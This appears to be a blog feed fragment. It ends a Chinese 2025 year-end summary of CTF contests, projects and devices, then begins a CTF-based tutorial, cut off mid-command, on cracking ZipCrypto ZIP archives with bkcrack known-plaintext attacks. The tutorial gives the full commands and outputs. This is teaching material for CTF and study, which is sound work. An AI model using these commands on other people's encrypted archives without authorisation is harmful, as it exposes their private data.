id="软件系统安全赛-决赛"><a href="#软件系统安全赛-决赛" class="headerlink" title="软件系统安全赛 决赛"></a>软件系统安全赛 决赛</h2><p>决赛……还是在长沙，嗯</p><p>还想着能够去别的地方旅游的，不过二入长沙也不错啦</p><p>比赛虽然有点炸，但是三等奖稳稳的</p><p>第二次去长沙，去了橘子洲头玩，看到了毛主席的大雕像</p><p><img src="https://assets.bili33.top/img/2025-Year-End-Summary/eb8d9494b84220d2053cdc72047050e7.jpg"></p><p><img src="https://assets.bili33.top/img/2025-Year-End-Summary/7d7bd30505430dcda790ea00dcbcf387.jpg"></p><p><img src="https://assets.bili33.top/img/2025-Year-End-Summary/image-20251231021241400.png"></p><h2 id="LilCTF-2025"><a href="#LilCTF-2025" class="headerlink" title="LilCTF 2025"></a>LilCTF 2025</h2><p>其实是 2025 年的 BaseCTF，只不过摇身一变变成 LilCTF 了，面向的是团队而不是个人</p><p>说实话，在这场里面我的产出真不高，还得靠我的挖洞队友和我的逆向队友，最终拿下了第四的位置</p><h2 id="羊城杯-2025"><a href="#羊城杯-2025" class="headerlink" title="羊城杯 2025"></a>羊城杯 2025</h2><p>其实我打了 24 年的羊城杯，不过我是单干的，而且我制作出来了 DS 分类下的题目</p><blockquote><p>你可以去这个链接看当时的解题情况 <a href="https://bili33.top/posts/CTF-Yangcheng2024-Writeup/">https://bili33.top/posts/CTF-Yangcheng2024-Writeup/</a></p></blockquote><p>我做的是 Misc 的题目，不过题解我没发，懒得发了</p><p>印象中比较好玩的是 2hi5hu 师傅的「别笑，你试也过不了第二关」和「你也是旮旯给木大师？」这两个题目</p><blockquote><p>这里可以看：<a href="https://2hi5hu.cn/archives/2025ycb">https://2hi5hu.cn/archives/2025ycb</a></p></blockquote><p>决赛方面，我负责的是数据安全和应急响应这一块，不过在那之前因为我在出题，刚好用上了 msfconsole，所以比赛过程中刚好拿来打了</p><blockquote><p>决赛的做题思路在这里：<a href="https://bili33.top/posts/CTF-YCB2025-Finals/">https://bili33.top/posts/CTF-YCB2025-Finals/</a></p></blockquote><p>挺让我意外的，很多东西用 msfconsole 都能跑通，而且真的很好玩啊 \(≧▽≦)&#x2F;</p><h2 id="湾区杯-2025"><a href="#湾区杯-2025" class="headerlink" title="湾区杯 2025"></a>湾区杯 2025</h2><p>湾区杯其实我们是蠕动进去的，我们本来不在决赛名单内，是前面的队伍弃赛了，我们才得以进去的</p><p>恰逢国家网络安全宣传周，比赛就显得尤为正规了，而且是各路大佬云集的地方，之前很多在群里才能见到的大佬这次都来到了现场</p><p>比较让我印象深刻的是 <a href="https://github.com/Lil-Ran">@Lil-Ran</a> 和 <a href="https://github.com/ProbiusOfficial">@ProbiusOfficial（探姬）</a> 两位大佬，我参加了 Lil-Ran 师傅举办的 LilCTF，同时在群里也经常见到他，他也在我们工作室的群里</p><p>探姬这一块，我一直在用他的 ctfOS，特别是我刚回来打 CTF 的那段时间，这东西真的帮了我很多忙，这次见到两位大佬也是非常荣幸</p><blockquote><p>探姬是软软的捏</p></blockquote><p>具体就不在这里展开细讲了，总结为：我遇到最好的赛事组委会，见到最多的大佬的一次</p><blockquote><p>详情可以前往 <a href="https://bili33.top/posts/CTF-GBACC2025-Finals/">https://bili33.top/posts/CTF-GBACC2025-Finals/</a> 查看</p></blockquote><h2 id="CISCN-长城杯-2025"><a href="#CISCN-长城杯-2025" class="headerlink" title="CISCN &amp; 长城杯 2025"></a>CISCN &amp; 长城杯 2025</h2><p>今年的 CISCN 我们成绩其实还可以，我们出了 3 个 web、3 个 re，AK 了流量分析</p><p>流量分析这一块属于是前四题非常简单了，就是 wireshark 打开加上筛选就能解决的事情，不过遇到了一个很好玩的混淆(?) payload 的玩法</p><p>流量分析攻击者使用 SSTI 进行了代码执行的，payload 是这样的</p><p><img src="https://assets.bili33.top/img/2025-Year-End-Summary/image.png"></p><p>当时手解了三层，发现每次其实套路都差不多，我这里沿用我 wp 里面的原话</p><blockquote><p>拿出来处理，用 cyberchef 手操了一下，搞了三层发现流程是一样的，大概是这样</p><p>先进行一次性的 Base64 解密，然后后面的流程都是 <code>删除函数</code> -&gt; <code>反转</code> -&gt; <code>解 b64 编码</code> -&gt; <code>zlib 解压</code></p><p>不知道为啥，有时处理会丢掉 padding 用的 <code>=</code>，所以下面的脚本我还补了一下</p></blockquote><p>他用这种逻辑进行了 32 层的处理，所以手操肯定很累，还好我当时没有手操</p><p>你说下次能不能拿这个来玩呢（指出题）</p><p>我们的排位到最后达到了赛区前 100，期待半决赛见啦</p><h2 id="鹏城杯-2025"><a href="#鹏城杯-2025" class="headerlink" title="鹏城杯 2025"></a>鹏城杯 2025</h2><p>就是上面那个渗透演练的初赛啦，但我们成绩不好，今年出的是垃圾题目，详情请看下面这个链接，我不多说</p><p><a href="https://bili33.top/posts/CTF-PCB2025-Preliminary-Round-Writeup/">https://bili33.top/posts/CTF-PCB2025-Preliminary-Round-Writeup/</a></p><h1 id="工作"><a href="#工作" class="headerlink" title="工作"></a>工作</h1><p>在工作方面的话，主要分为班级工作、商单、学术合作这三方面吧</p><h2 id="班级工作"><a href="#班级工作" class="headerlink" title="班级工作"></a>班级工作</h2><p>本来在分班前我是我们班上的生活委员（指管医保报销的），分班后我就变成班长了，不过以前做过班长，也到没啥，反正贯彻自己的理念呗，放养式管理，反正大家都是大学生了</p><p>这部分我就不展开讲了</p><h2 id="商单"><a href="#商单" class="headerlink" title="商单"></a>商单</h2><p>也得感谢商家给我机会，信任我的技术吧，其实我每一单都拖了挺久的，主要还是我的空闲时间真的不多</p><p>今年做了两套系统，一个是 Steam 租号管理系统，一个是 Steam 账号库存提取系统</p><p>简单来说是这样的，第一个租号管理系统，是商家导入账号，确定账号上拥有的游戏后，生成提取码，分发给用户，用户到网站提取指定账号并获得对应小时的使用权的一个系统，到时间了会自动踢出账号，解决了现在 Steam 账号租户的账号在到期后没有任何操作的问题</p><p>第二个 Steam 账号库存提取系统，主要是这家之前的那个系统是找大商合作的，但是大商不做了，没人维护，然后就找我重新开发一套新的，效果其实不错，我这里放一个截图好了，但是其他的因为涉及商业秘密，我就不多说了吧</p><p><img src="https://assets.bili33.top/img/2025-Year-End-Summary/image-20251231023146914.png"></p><h2 id="学术合作"><a href="#学术合作" class="headerlink" title="学术合作"></a>学术合作</h2><p>这一块得多亏了 @Yuchangqing 跑来拉我入伙，在这个学术合作中，我主要做的是封装测试环节</p><p>我们做的是一个装置，用于医学研究的，我采用了以前没用过的一个方式，就是 FastAPI + PyWebview，因为 Electron 太笨重了，而且我对 nodejs 确实不熟（vue 啥的也没学，提上日程好了），然后就还是经典前端三件套构建的 UI</p><p>这个学术合作主要还是开拓了我的视野吧，能够有更多的机会去接触不同领域的东西，结识不同领域的人</p><p>因为涉及一些机密，所以这里我就不多说了</p><h1 id="代码"><a href="#代码" class="headerlink" title="代码"></a>代码</h1><p>这一年主要做了几个项目吧（抛开上面提到的东西），一个是 QQbot，因为当时我们在举办 CTF 比赛，用的 A1CTF 平台，然后 ?CTF 那会是有播报 bot 的，于是我就手搓了一个，只能说能够满足我们自己的需求</p><blockquote><p><a href="https://github.com/GamerNoTitle/A1CTF-Journalist">GamerNoTitle&#x2F;A1CTF-Journalist: 获取 A1CTF 平台的通知并推送到 QQ 群的自动化 Bot（主要是为了推送前三血信息）</a></p></blockquote><p>然后是一个 DSFileChecker，灵感来源于两次羊城杯由 DAS 平台提供的 DAS File Checker，然后就做了一个类似的东西，可以让参赛选手知道自己正确率如何</p><blockquote><p><a href="https://github.com/GamerNoTitle/DSFileChecker">GamerNoTitle&#x2F;DSFileChecker: 一个用于夺旗赛的数据安全类题目的数据检查及 flag 分发应用</a></p></blockquote><p>往下是一个 Python 的轮子，主要是上面提到的合作方他有一个从 csfloat 网站使用 CS 饰品的监视链接提取数据的一个需求，然后就给他做了一个这样的一个轮子</p><blockquote><p><a href="https://github.com/GamerNoTitle/csfloat-inspector">GamerNoTitle&#x2F;csfloat-inspector: An inspector of CSFloat</a></p></blockquote><p>接着是 B 站直播妙妙小工具，因为 B 站新规是未满 5k 粉丝必须使用直播姬开播，但是直播姬我说实话，真的依托答辩，然后就用了 B 站的 API 来完成了一个小工具，能让用户脱离直播姬，直接开播并拿到推流地址和推流码，就类似于以前的网页端那样</p><blockquote><p> <a href="https://github.com/GamerNoTitle/BiliLive-Utility">GamerNoTitle&#x2F;BiliLive-Utility: 新一代 B 站小主播直播助手！开启 B 站直播并获得推流链接与推流密钥（推流码），一键修改标题、标签和直播分区，是给不满足 B 站新规定 5k 粉丝要求的用户使用的实用工具 (ˊ•͈ꇴ•͈ˋ)</a></p></blockquote><p>再往下是我的一个小玩具，因为想看看自己买了多少东西，并且这些东西的价值如何，然后做了一个记物网站应用，数据库我用了 Notion，然后后端是 FastAPI，这样就可以托管在大多数 Serverless 平台上了</p><blockquote><p><a href="https://github.com/GamerNoTitle/WorthIt">GamerNoTitle&#x2F;WorthIt: 我的东西买得有多值呢？基于 Notion 数据库的记物网站应用</a></p></blockquote><p>下面是两个更新，一个是音灵的补丁，总所周知，水幻早就炸了，音灵现在是靠社区才能够正常游玩，但是我发现有玩家有解锁私服提供的物品的一个需求，然后就进行了一个更新，让这个工具能够适配更多的物品</p><blockquote><p><a href="https://github.com/GamerNoTitle/INVAXION-Unlocker">GamerNoTitle&#x2F;INVAXION-Unlocker: 🛠音灵全解锁补丁&#x2F;INVAXION full unlock patcher</a></p></blockquote><p>第二个是油猴脚本仓库，就因为随着油猴脚本越做越多，我就干脆弄了个仓库放着，凑合看看吧</p><blockquote><p><a href="https://github.com/GamerNoTitle/TemperMonkeyScript">GamerNoTitle&#x2F;TemperMonkeyScript: 自用的油猴脚本</a></p></blockquote><h1 id="设备"><a href="#设备" class="headerlink" title="设备"></a>设备</h1><p>今年我又多了一些设备，下面听我一一道来</p><p>首先是一加 ACE5 这台手机，是我在我 25 年年生日当天买的，主要还是 K40 目前有点拉了，再加上粗粮现在不让解 BL（应该说解锁很麻烦），所以我就买了 1+</p><img src="https://assets.bili33.top/img/2025-Year-End-Summary/Screenshot_2025-12-31-02-41-41-60_fc704e6b13c4fb2.png" style="zoom:50%;" /><p>当然了，肯定是到手就解锁了的</p><p>接下来是一台华为 Mate40 Pro，是我同期退伍的哥们给的，当时去他家里玩了（旅游），然后他省的这个华为没用了，他看我本身就是搞技术的，就给我拿去折腾了</p><p>当然了，我肯定是不会去升级纯血 homo 的</p><p><img src="https://assets.bili33.top/img/2025-Year-End-Summary/image-20251231024428886.png"></p><p>随后是 Steam Deck，这个是从别人那里借过来玩的（要还的），因为放着吃灰，我就拿来在床上玩旮旯给木了</p><p>因为本身我自己还在玩米家游戏，所以我就给它装了双系统（SteamOS + Windows 11）</p><p><img src="https://assets.bili33.top/img/2025-Year-End-Summary/IMG20251231024533.jpg"></p><p>还有买了个新的平板 Vivo Pad 5，因为 Surface 的续航一坨了，不太能满足我上课做笔记的需求，而且发热很严重，我就买了个安卓版，主要还是看中续航吧</p><p>现在已经替换 Surface 的位置了，被我拿来上课做笔记了，Surface 现在在 <a href="https://xihale.top/">@xihale</a> 的手上推旮旯给木</p><p>最后一个是最近买的威联通 NAS，起因是因为我发现我用了好多年的 onedrive 被微软扬了</p><blockquote><p>具体情况：<a href="https://t.me/PaffChannel/3136">https://t.me/PaffChannel/3136</a></p></blockquote><p>所以就买了 NAS 了，刚好建造一下自己的存储池（就是好贵(┬＿┬)）</p><p><img src="https://assets.bili33.top/img/2025-Year-End-Summary/image-20251231025053603.png"></p><p>既然谈到这里了，那我这里放一张图吧（自制的，拿走随意）</p><p><img src="https://assets.bili33.top/img/2025-Year-End-Summary/%E7%A3%81%E7%9B%98%E9%98%B5%E5%88%97%E4%B8%8D%E6%98%AF%E5%A4%87%E4%BB%BD.png"></p><h1 id="娱乐"><a href="#娱乐" class="headerlink" title="娱乐"></a>娱乐</h1><p>突然忘了还有这一部分，今年的游戏娱乐活动也挺多的，这里挑几个点说一下吧</p><p>首先是第一次在三角洲完成了赛季任务，拿到了 33 安全箱</p><p><img src="https://assets.bili33.top/img/2025-Year-End-Summary/6f06fa4f0479721c06ff8fbec3f044b5.png"></p><p>然后今年我重新开始玩了 osu!，并且现在成绩已经很不错啦，打大多数 3* 图没啥问题，但是 4* 图还有待提高</p><p><img src="https://assets.bili33.top/img/2025-Year-End-Summary/54348b790b175da8f1f6d80c84072def_720.jpg"></p><p>然后在群友的影响下，我又玩回了 Warframe，并且达到了 21 段</p><p>这游戏真的要大家一起玩才好玩</p><p><img src="https://assets.bili33.top/img/2025-Year-End-Summary/image-20251231025820477.png"></p><p><img src="https://assets.bili33.top/img/2025-Year-End-Summary/image-20251231025935848.png"></p><h1 id="后记"><a href="#后记" class="headerlink" title="后记"></a>后记</h1><p>当我写完上面的内容，已经是 <code>3:00</code> 了，我是没想到原来我有那么多的东西需要回顾</p><p>也感谢你耐心看到这里，我写的有点水，也不知道合不合你的胃口，总之祝你天天开心吧 (¬◡¬)✧</p><img src="https://assets.bili33.top/img/2025-Year-End-Summary/image-20251231025211777.png" style="zoom:50%;" />]]></content>
    
    
      
      
    <summary type="html">&lt;link rel=&quot;stylesheet&quot; class=&quot;aplayer-secondary-style-marker&quot; href=&quot;/assets/css/APlayer.min.css&quot;&gt;&lt;script src=&quot;/assets/js/APlayer.min.js&quot; cla</summary>
      
    
    
    
    <category term="Misc" scheme="https://bili33.top/categories/Misc/"/>
    
    
    <category term="Daily" scheme="https://bili33.top/tags/Daily/"/>
    
    <category term="Summary" scheme="https://bili33.top/tags/Summary/"/>
    
    <category term="2025" scheme="https://bili33.top/tags/2025/"/>
    
  </entry>
  
  <entry>
    <title>使用 bkcrack 对 ZipCrypto 加密的 ZIP 文件进行明文爆破</title>
    <link href="https://bili33.top/posts/bkcrack-known-bytes-attack-decipher/"/>
    <id>https://bili33.top/posts/bkcrack-known-bytes-attack-decipher/</id>
    <published>2025-12-19T12:59:03.000Z</published>
    <updated>2026-03-31T05:59:59.352Z</updated>
    
    <content type="html"><![CDATA[<link rel="stylesheet" class="aplayer-secondary-style-marker" href="/assets/css/APlayer.min.css"><script src="/assets/js/APlayer.min.js" class="aplayer-secondary-script-marker"></script><script class="meting-secondary-script-marker" src="/assets/js/Meting.min.js"></script><p>在经历了鹏城杯 2025 的各种 bkcrack 明文攻击后，我觉得我需要写一篇文章来汇总一下 bkcrack 这东西</p><ul><li>bkcrack: <a href="https://github.com/kimci86/bkcrack/releases">https://github.com/kimci86/bkcrack/releases</a></li></ul><div class="note info flat"><p>如果你想更多地了解原理，可以阅读这篇论文，本文不讲原理</p><ul><li><a href="https://doi.org/10.1007/3-540-60590-8_12">https://doi.org/10.1007/3-540-60590-8_12</a></li></ul></div><h1 id="先决条件"><a href="#先决条件" class="headerlink" title="先决条件"></a>先决条件</h1><h2 id="加密方式"><a href="#加密方式" class="headerlink" title="加密方式"></a>加密方式</h2><p>ZIP 的加密算法常见的就两种，一个是 ZipCrypto，一个是 AES-256；根据压缩方式，有 Deflate 和 Store（不压缩）。为了能够使用 bkcrack 进行明文攻击，我们手上的加密压缩包<strong>必须是 ZipCrypto 加密</strong>，即</p><ul><li>ZipCrypto Store</li><li>ZipCrypto Deflate（至少拥有一个完整明文，即完整文件）</li></ul><p>这两个是可以进行明文攻击的</p><h2 id="已知明文"><a href="#已知明文" class="headerlink" title="已知明文"></a>已知明文</h2><p>从我们的攻击方式「明文攻击」就知道，我们必须知道一部分明文才能够对文件进行攻击。</p><p>根据论文，我们需要知道密文中<strong>已知至少 12 字节的明文</strong>，才能够对压缩包进行攻击操作</p><div class="note info flat"><p>实测上，貌似 12 字节也不是必须的，10 字节也出现过能破解的情况，但是笔者还是建议大家在解题的时候尽量满足 12 字节的要求</p></div><h2 id="已知偏移"><a href="#已知偏移" class="headerlink" title="已知偏移"></a>已知偏移</h2><div class="note warning flat"><p>注：ZipCrypto Store 情况下</p></div><p>当我们已知明文（非完整文件）的情况下，我们需要知道这部分数据的偏移量，才能够进行攻击操作（下面例子有，如果你不知道我在说啥，可以往下看）</p><h1 id="创建符合条件的压缩包"><a href="#创建符合条件的压缩包" class="headerlink" title="创建符合条件的压缩包"></a>创建符合条件的压缩包</h1><p>ZipCrypto 仍然是现在压缩包加密的主流方式，所以如果你正在用主流的压缩软件，那么你大概率能够找到 ZipCrypto 的加密选项</p><p>以 7zip 为例，对文件选择「添加到压缩包」的时候，就可以看到加密算法里面有且默认选择 ZipCrypto（如下图）</p><p><img src="https://assets.bili33.top/img/bkcrack-known-bytes-attack-decipher/7zG_H4kNY8S0rs.png"></p><h1 id="ZipCrypto-Store-下不同方向的明文攻击"><a href="#ZipCrypto-Store-下不同方向的明文攻击" class="headerlink" title="ZipCrypto Store 下不同方向的明文攻击"></a>ZipCrypto Store 下不同方向的明文攻击</h1><p>对于我们已经满足上述条件的情况下，我们可以使用 <a href="https://github.com/kimci86/bkcrack">bkcrack</a> 来进行明文攻击</p><h2 id="持有任一文件的明文攻击"><a href="#持有任一文件的明文攻击" class="headerlink" title="持有任一文件的明文攻击"></a>持有任一文件的明文攻击</h2><p>以 <a href="/posts/CTF-CCSSSC2025-Regional-Offline-Competition/#MISC-AI-ez-sight-%E8%B5%9B%E5%90%8E%E5%87%BA">CCSSSC 2025 区域赛的 ezsight 题目</a> 为例，题目附件解压得到</p><ul><li><code>flag.py</code> 用来验证答案并给 flag 的</li><li><code>workspace.zip</code> 被加密的压缩包</li><li><code>公告.txt</code> 已知明文</li></ul><p>打开压缩包，看到算法为 ZipCrypto Store</p><p><img src="https://assets.bili33.top/img/bkcrack-known-bytes-attack-decipher/image-20251219212458575.png"></p><p>通过 <code>bkcrack -L workspace.zip</code> 可以看到里面的具体文件的算法即压缩方式</p><p><img src="https://assets.bili33.top/img/bkcrack-known-bytes-attack-decipher/image-20251219212752748.png"></p><p>因为题目给了 <code>公告.txt</code> 作为已知明文，所以直接打</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br></pre></td><td class="code"><pre><span class="line">$ bkcrack -C workspace.zip -c 公告.txt -p 公告.txt</span><br><span class="line">bkcrack 1.8.1 - 2025-10-25</span><br><span class="line">[21:28:33] Z reduction using 687 bytes of known plaintext</span><br><span class="line">100.0 % (687 / 687)</span><br><span class="line">[21:28:33] Attack on 14755 Z values at index 18</span><br><span class="line">Keys: ffe9e9e9 d65f814a f3c468c9</span><br><span class="line">85.1 % (12551 / 14755)</span><br><span class="line">Found a solution. Stopping.</span><br><span class="line">You may resume the attack with the option: --continue-attack 12551</span><br><span class="line">[21:28:44] Keys</span><br><span class="line">ffe9e9e9 d65f814a f3c468c9</span><br></pre></td></tr></table></figure><p>然后就出来了 keys，直接拿着 keys 去改密码</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">$ bkcrack -C workspace.zip -k ffe9e9e9 d65f814a f3c468c9 -U decrypted.zip <span class="string">&quot;Volcania&quot;</span></span><br></pre></td></tr></table></figure><p>然后就直接拿着密码 <code>Volcania</code> 去解压 <code>decrypted.zip</code> 就可以了</p><p><img src="https://assets.bili33.top/img/bkcrack-known-bytes-attack-decipher/image-20251219213015735.png"></p><h2 id="已知-zip-的明文攻击"><a href="#已知-zip-的明文攻击" class="headerlink" title="已知 zip 的明文攻击"></a>已知 zip 的明文攻击</h2><div class="note warning flat"><p>注：此情况指的是在需要攻击的 ZIP 文件里面，存在一个 zip 未加密的 zip 包，且已知里面未加密的 zip 包内的任意一个文件名，如下图</p><p><img src="https://assets.bili33.top/img/bkcrack-known-bytes-attack-decipher/image-20251219213232881.png"></p></div><h3 id="使用-ZIP-文件头-已知文件名攻击"><a href="#使用-ZIP-文件头-已知文件名攻击" class="headerlink" title="使用 ZIP 文件头 + 已知文件名攻击"></a>使用 ZIP 文件头 + 已知文件名攻击</h3><p>这里没有找到合适的题目，就拿上面那个 <code>encrypted.zip</code> 来说吧，这个里面的 <code>debug.zip</code> 里面压了一个 <code>debug.log</code> 文件</p><p><img src="https://assets.bili33.top/img/bkcrack-known-bytes-attack-decipher/image-20251219213500966.png"></p><p>而 zip 的文件头是 <code>50 4B 03 04</code>，这里有 4 个字节</p><p>文件名 <code>debug.log</code> 为 <code>64 65 62 75 67 2e 6c 6f 67</code>，这里有 9 个字节，加起来超过 12 字节了</p><p>所以直接去明文攻击即可</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br></pre></td><td class="code"><pre><span class="line">$ bkcrack -C .\encrypted.zip -c debug.zip -x 0 504b0304 -x 30 64656275672e6c6f67</span><br><span class="line">bkcrack 1.8.1 - 2025-10-25</span><br><span class="line">[21:40:32] Z reduction using 1 bytes of known plaintext</span><br><span class="line">100.0 % (1 / 1)</span><br><span class="line">[21:40:32] Attack on 2621440 Z values at index 37</span><br><span class="line">Keys: 138253fb f12a0c93 90b1234f</span><br><span class="line">11.1 % (291960 / 2621440)</span><br><span class="line">Found a solution. Stopping.</span><br><span class="line">You may resume the attack with the option: --continue-attack 291960</span><br><span class="line">[21:43:53] Keys</span><br><span class="line">138253fb f12a0c93 90b1234f</span><br></pre></td></tr></table></figure><h3 id="使用-ZIP-文件头-文件尾攻击"><a href="#使用-ZIP-文件头-文件尾攻击" class="headerlink" title="使用 ZIP 文件头 + 文件尾攻击"></a>使用 ZIP 文件头 + 文件尾攻击</h3><p>还有一种方法是使用 ZIP 文件头 + ZIP 文件尾进行攻击，这个是从 lunatic 佬那里偷师学来的</p><p>因为压缩包的最后一定会有 <code>504b050600000000</code>（如图）</p><p><img src="https://assets.bili33.top/img/bkcrack-known-bytes-attack-decipher/image-20251219214558043.png"></p><p>所以可以直接认为这部分是已知明文，结合文件头直接对其进行攻击，这部分的位置在 <code>压缩前文件大小-22</code></p><p><img src="https://assets.bili33.top/img/bkcrack-known-bytes-attack-decipher/image-20251219214649845.png"></p><p>这里 <code>debug.zip</code> 的原大小是 269，减去 22 就是 247，所以得到以下明文攻击方法</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br></pre></td><td class="code"><pre><span class="line">$ bkcrack -C .\encrypted.zip -c debug.zip -x 0 504b0304 -x 247 504b050600000000</span><br><span class="line">bkcrack 1.8.1 - 2025-10-25</span><br><span class="line">[21:47:17] Attack on 4194304 Z values at index 254</span><br><span class="line">Keys: 138253fb f12a0c93 90b1234f</span><br><span class="line">19.6 % (823978 / 4194304)</span><br><span class="line">Found a solution. Stopping.</span><br><span class="line">You may resume the attack with the option: --continue-attack 823978</span><br><span class="line">[21:57:01] Keys</span><br><span class="line">138253fb f12a0c93 90b1234f</span><br></pre></td></tr></table></figure><p>在不知道里面的文件名的情况下很好用</p><h2 id="使用-EXE-的-DOS-提示信息攻击"><a href="#使用-EXE-的-DOS-提示信息攻击" class="headerlink" title="使用 EXE 的 DOS 提示信息攻击"></a>使用 EXE 的 DOS 提示信息攻击</h2><p>因为 EXE 里面<strong>大多</strong>都存在这一段（注意是大多数，要说什么东西没有的话，你把你的 Steam 拖进 010 看，它就是没有的那个）</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line">00000040: 0e1f ba0e 00b4 09cd 21b8 014c cd21 5468  ........!..L.!Th</span><br><span class="line">00000050: 6973 2070 726f 6772 616d 2063 616e 6e6f  is program canno</span><br><span class="line">00000060: 7420 6265 2072 756e 2069 6e20 444f 5320  t be run in DOS</span><br><span class="line">00000070: 6d6f 6465 2e0d 0d0a 2400 0000 0000 0000  mode....$.......</span><br></pre></td></tr></table></figure><p>所以可以用来攻击</p><p>以 <a href="/posts/CTF-PCB2025-Preliminary-Round-Writeup/#SMB-Solved">鹏城杯 2025 初赛的 SMB 题目</a> 为例，我们发现 zip 包里存在一个 <code>letter.exe</code></p><p><img src="https://assets.bili33.top/img/bkcrack-known-bytes-attack-decipher/image-20251219221602022.png"></p><p>拿着这一段提示信息来攻击，偏移量在 64</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br></pre></td><td class="code"><pre><span class="line">$ bkcrack -C .\%5cletter.zip -c letter.exe -x 64 0E1FBA0E00B409CD21B8014CCD21546869732070726F6772616D2063616E6E6F742062652072756E20696E20444F53206D6F64652E0D0D0A2400000000000000</span><br><span class="line">bkcrack 1.8.1 - 2025-10-25</span><br><span class="line">[22:16:50] Z reduction using 56 bytes of known plaintext</span><br><span class="line">100.0 % (56 / 56)</span><br><span class="line">[22:16:50] Attack on 141108 Z values at index 71</span><br><span class="line">Keys: 68cc45ab 864060ce ac958caa</span><br><span class="line">75.6 % (106623 / 141108)</span><br><span class="line">Found a solution. Stopping.</span><br><span class="line">You may resume the attack with the option: --continue-attack 106623</span><br><span class="line">[22:18:10] Keys</span><br><span class="line">68cc45ab 864060ce ac958caa</span><br></pre></td></tr></table></figure><h2 id="使用-png-头进行攻击"><a href="#使用-png-头进行攻击" class="headerlink" title="使用 png 头进行攻击"></a>使用 png 头进行攻击</h2><p>因为 png 的头是固定的</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">00000000: 8950 4e47 0d0a 1a0a 0000 000d 4948 4452  .PNG........IHDR</span><br></pre></td></tr></table></figure><p>很明显这长度就是足够我们的要求的，所以直接拿来爆</p><p>以 <a href="/posts/CTF-PCB2025-Preliminary-Round-Writeup/#Blue">鹏城杯 2025 初赛的 blue 题目</a> 为例，高位提取得到的压缩包里面存在一个 <code>xor.png</code>，所以我们对其用 png 的头攻击</p><p><img src="https://assets.bili33.top/img/bkcrack-known-bytes-attack-decipher/1765620094306-123-1765621747345-243.png"></p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br></pre></td><td class="code"><pre><span class="line">$ bkcrack -C extracted_nibbles_skip1_off0.zip -c xor.png -x 0 89504E470D0A1A0A0000000D49484452</span><br><span class="line">bkcrack 1.8.1 - 2025-10-25</span><br><span class="line">[22:22:32] Z reduction using 9 bytes of known plaintext</span><br><span class="line">100.0 % (9 / 9)</span><br><span class="line">[22:22:32] Attack on 707085 Z values at index 6</span><br><span class="line">Keys: 68cc45ab 864060ce ac958caa</span><br><span class="line">29.1 % (206106 / 707085)</span><br><span class="line">Found a solution. Stopping.</span><br><span class="line">You may resume the attack with the option: --continue-attack 206106</span><br><span class="line">[22:24:47] Keys</span><br><span class="line">68cc45ab 864060ce ac958caa</span><br></pre></td></tr></table></figure><h2 id="使用-pyc-的结构进行明文攻击"><a href="#使用-pyc-的结构进行明文攻击" class="headerlink" title="使用 pyc 的结构进行明文攻击"></a>使用 pyc 的结构进行明文攻击</h2><p>这个玩法是在某次非公开赛的时候做到的，题目提供了一个压缩包，里面是一个 <code>attack_it.pyc</code> 文件和一个 <code>flag.py</code> 文件，其中 <code>flag.py</code> 文件使用 <code>py_compile</code> 得到了 <code>attack_it.pyc</code></p><p><img src="https://assets.bili33.top/img/bkcrack-known-bytes-attack-decipher/image-20251219223716553.png"></p><p>通过查阅文档，我们可以看到 pyc 的头部部分结构如下</p><blockquote><p>src: <a href="https://ctf-wiki.org/misc/other/pyc/">https://ctf-wiki.org/misc/other/pyc/</a></p></blockquote><p><img src="https://ctf-wiki.org/misc/other/figure/pyc-struct.png"></p><blockquote><p>[!warning]</p><p><strong>此处的「文件大小」指的是源文件大小，上方此图的来源链接里面说它是「pyc 文件大小」，这是有误的！</strong></p></blockquote><p>使用 010 打开这个 zip，可以在尾部发现出题人留下的信息，Python 版本为 3.12.12，BitField 为 <code>00000000</code></p><p><img src="https://assets.bili33.top/img/bkcrack-known-bytes-attack-decipher/image-20251219225105792.png"></p><p>运行同样的大版本的 Python（指 3.12.x），通过下方代码可以获得 Magic Number</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">from</span> importlib.util <span class="keyword">import</span> MAGIC_NUMBER</span><br><span class="line"><span class="built_in">print</span>(MAGIC_NUMBER)</span><br><span class="line"></span><br><span class="line"><span class="comment"># b&#x27;\xcb\r\r\n&#x27;</span></span><br></pre></td></tr></table></figure><p>同时可以看看 <code>flag.py</code> 的大小</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br></pre></td><td class="code"><pre><span class="line">$ bkcrack -L .\flag.zip</span><br><span class="line">bkcrack 1.8.1 - 2025-10-25</span><br><span class="line">Archive: 